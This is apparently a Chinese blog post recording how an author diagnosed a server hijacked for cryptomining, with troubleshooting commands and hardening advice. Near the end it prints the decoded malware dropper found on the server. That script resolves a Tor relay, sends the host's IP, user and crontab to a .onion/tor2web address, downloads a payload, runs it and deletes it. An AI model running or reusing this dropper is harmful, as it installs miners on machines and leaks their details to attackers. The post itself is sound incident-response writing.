服务器被攻击,注入木马变成挖矿机,排查记录

简单介绍

最近一台服务器,总是ssh无法连接,一开始以为是网络问题,后来经过专业运维人员指导,才发现这台服务器被人恶意攻击,注入了木马,变成了挖矿机。
这个木马隐藏的很深,排查过程也是饶了很多弯路,记录下来。
说明:服务器防火墙开启,只开放了少量几个端口;root账号密码非常复杂;没有安装不明软件

排查步骤

查看进程是否有异常:

top 查看一下异常进程
注:木马进程不一定正在工作,所以有时候会top结果看起来都正常,来一张异常的效果,CPU被占满,服务器变得卡,响应很慢

在这里插入图片描述

查看一下网络端口连接情况

netstat -naltp | grep 22
发现几个不认识的异常IP有网络连接,百度一下这几个IP,发现都是国外的,一个德国、一个日本,到此基本可以确信,服务器被植入了木马了,接下来就是找到木马在哪里

在这里插入图片描述
在这里插入图片描述

查看一下进程

ps -ef | grep ??
发现似乎没什么有用信息

在这里插入图片描述

查看进程很多方式,办法总会有
ll  /proc/29454 | more
返回结果很多,发现一个delete,看起来是异常的,跟踪一下,发现确实就是这个

在这里插入图片描述

仔细排查定时任务

木马为了在被杀死之后,能够复活,简单的办法就是定时任务,查看一下定时任务,会发现惊喜or惊吓
crontab -e
定时任务里面多了一个莫名其妙的任务,不用说了,肯定是木马搞的鬼。

在这里插入图片描述

木马文件长啥样呢

查看一下当前目录的所有文件,特别是隐藏文件,为了不被轻易发现,都是用隐藏文件
ls -a
发现一个异常文件,打开后是base64,看不懂啊,不急,百度一个在线base64解析

在这里插入图片描述

解析后就是这个玩意,大神看到了,能给解读一下吗
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "ji55jjplpknk7eayxxtb5o3ulxuevntutsdanov5dp3wya7l7btjv4qd")

sockz() {
n=(doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1)
}

fexe() {
for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}

u() {
sockz
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}

for h in tor2web.in tor2web.it
do
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done

结论

木马想要杀干净,太难了,最好的办法就是重装系统,然后设置严格的访问策略,禁止root远程登录,开启防火墙,只安装必要的软件,定时打补丁,密码策略要尽量复杂,好了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值